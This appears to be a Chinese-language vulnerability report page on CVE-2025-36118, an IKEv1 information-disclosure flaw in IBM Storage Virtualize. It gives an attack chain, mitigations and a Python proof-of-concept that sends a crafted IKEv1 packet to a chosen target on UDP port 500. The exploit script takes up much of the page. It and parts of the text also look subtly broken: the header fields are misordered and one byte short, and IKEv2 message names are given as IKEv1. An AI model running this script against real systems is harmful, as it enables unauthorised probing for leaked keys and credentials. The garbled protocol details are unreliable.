IPBUF安全漏洞报告
English
CVE-2025-36118 CVSS 7.5 高危

CVE-2025-36118 IBM Storage Virtualize IKEv1信息泄露漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-36118
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
IBM Storage Virtualize

相关标签

CVE-2025-36118信息泄露IKEv1IBM Storage Virtualize高危内存访问远程攻击无需认证VPN安全IPsec

漏洞概述

CVE-2025-36118是IBM Storage Virtualize产品中IKEv1(Internet Key Exchange version 1)协议实现存在的信息泄露漏洞。该漏洞存在于IBM Storage Virtualize 8.4、8.5、8.7和9.1版本中,攻击者可通过发送特制的安全关联(Security Association, SA)协商请求,无需任何认证即可远程触发此漏洞。成功利用此漏洞可导致攻击者从设备内存中获取敏感信息,包括但不限于加密密钥、认证凭据、配置参数等机密数据。由于IKEv1协议在VPN和远程访问场景中广泛使用,此漏洞可能影响大量使用IBM存储虚拟化产品的企业环境。CVSS 3.1评分7.5分,属于高危级别,主要威胁为机密性影响。

技术细节

该漏洞源于IBM Storage Virtualize中IKEv1协议实现的安全缺陷。在IKE协议中,SA(Security Association)是建立VPN隧道的基础,客户端与服务器通过IKE协商交换密钥材料。攻击者可构造恶意的SA协商请求,利用IKEv1协议实现中的内存访问漏洞,读取设备内存中的敏感数据。具体而言,攻击者通过发送精心设计的IKE_SA_INIT或IKE_AUTH消息,触发漏洞使设备返回包含内存数据的响应。由于漏洞存在于协议实现层面,攻击流量与正常IKE协商流量难以区分,可被防火墙和IDS/IPS忽略。建议通过禁用IKEv1协议或升级到修复版本进行防护。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标IBM Storage Virtualize设备,确认IKEv1服务(UDP 500端口)处于开启状态
STEP 2
步骤2
构造恶意请求:攻击者构造包含畸形数据的IKEv1 SA(Security Association)协商请求消息
STEP 3
步骤3
发送攻击载荷:通过UDP协议向目标设备的500端口发送特制的IKE_SA_INIT或IKE_AUTH消息
STEP 4
步骤4
触发漏洞:目标设备的IKEv1实现处理异常请求时,触发内存读取操作
STEP 5
步骤5
敏感信息泄露:攻击者接收包含设备内存数据的响应,可能获取加密密钥、认证凭据等敏感信息
STEP 6
步骤6
后续利用:利用获取的敏感信息进行横向移动、持久化控制或进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-36118 PoC - IBM Storage Virtualize IKEv1 Information Disclosure # This PoC demonstrates sending a malformed IKEv1 SA negotiation request import socket import struct import random def build_ike_header(isakmp_spi, exchange_type, flags=0x08): """Build IKEv1 header""" header = bytearray() # ISAKMP Header Format (20 bytes) header.extend(isakmp_spi) # Initiator SPI (8 bytes) header.extend(bytes(8)) # Responder SPI (8 bytes) - zeroed header.extend(struct.pack('>B', exchange_type)) # Next Payload (0x00) header.extend(struct.pack('>B', 0x10)) # Version (1.0) header.extend(struct.pack('>B', flags)) # Exchange Type Flags header.extend(struct.pack('>I', 0)) # Message ID header.extend(struct.pack('>I', 0)) # Length (to be filled) return bytes(header) def build_sa_proposal(payload_type=1): """Build SA Proposal payload with crafted values""" payload = bytearray() payload.extend(struct.pack('>B', payload_type)) # Next Payload (0x00 for last) payload.extend(struct.pack('>B', 0)) # Reserved payload.extend(struct.pack('>H', 28)) # Payload Length payload.extend(struct.pack('>B', 1)) # Proposal #1 payload.extend(struct.pack('>B', 1)) # Protocol ID (IKE) payload.extend(struct.pack('>B', 4)) # SPI Size payload.extend(struct.pack('>B', 0)) # # of transforms payload.extend(bytes(4)) # SPI (4 bytes) return bytes(payload) def send_ike_exploit(target_ip, target_port=500): """Send malicious IKEv1 SA negotiation request""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(10) # Generate random Initiator SPI isakmp_spi = bytes([random.randint(0, 255) for _ in range(8)]) # Build IKEv1 message with SA proposal ike_header = build_ike_header(isakmp_spi, exchange_type=0x02) # Main Mode sa_payload = build_sa_proposal() ike_packet = ike_header + sa_payload # Fix length field ike_packet = ike_packet[:24] + struct.pack('>I', len(ike_packet)) + ike_packet[28:] print(f"[*] Sending malformed IKEv1 SA negotiation to {target_ip}:{target_port}") print(f"[*] SPI: {isakmp_spi.hex()}") print(f"[*] Packet length: {len(ike_packet)} bytes") try: sock.sendto(ike_packet, (target_ip, target_port)) response, addr = sock.recvfrom(4096) print(f"[+] Received response ({len(response)} bytes)") print(f"[*] Response hex: {response.hex()}") return response except socket.timeout: print("[-] No response received (target may not be vulnerable or IKE disabled)") return None except Exception as e: print(f"[-] Error: {e}") return None finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_36118_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_ike_exploit(target_ip)

影响范围

IBM Storage Virtualize 8.4
IBM Storage Virtualize 8.5
IBM Storage Virtualize 8.7
IBM Storage Virtualize 9.1

防御指南

临时缓解措施
临时缓解措施:1)通过网络分段或ACL限制对IBM Storage Virtualize设备UDP 500端口的访问;2)如果业务允许,暂时禁用IKEv1功能;3)启用IPsec相关日志审计,监控异常的SA协商请求;4)考虑部署WAF或IPS设备对IKE流量进行深度检测;5)联系IBM Support获取具体补丁信息并尽快部署。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表